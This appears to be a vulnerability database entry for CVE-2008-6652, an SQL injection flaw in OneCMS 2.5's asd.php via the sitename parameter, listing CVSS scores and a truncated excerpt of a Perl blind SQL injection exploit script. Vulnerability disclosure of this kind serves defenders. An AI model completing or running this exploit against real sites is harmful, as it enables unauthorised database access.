7.5
CVSSv2

CVE-2008-6652

Published: 07/04/2009 Updated: 29/09/2017
CVSS v2 Base Score: 7.5 | Impact Score: 6.4 | Exploitability Score: 10
VMScore: 755
Vector: AV:N/AC:L/Au:N/C:P/I:P/A:P

Vulnerability Summary

SQL injection vulnerability in asd.php in OneCMS 2.5 allows remote malicious users to execute arbitrary SQL commands via the sitename parameter.

Vulnerable Product Search on Vulmon Subscribe to Product

insanevisions onecms 2.5

Exploits

#!/usr/bin/perl # OneCMS 25 Remote Blind SQL Injection Exploit # Author : Cod3rZ # Site : cod3rzhellowebeu # Site : devilsnightaltervistaorg # Usage : perl ocpl site # There's many other bugs, find them yourself use LWP::UserAgent; use HTTP::Request::Common; use Time::HiRes; $ua = LWP::UserAgent->new; $site = $ARGV[0]; if ...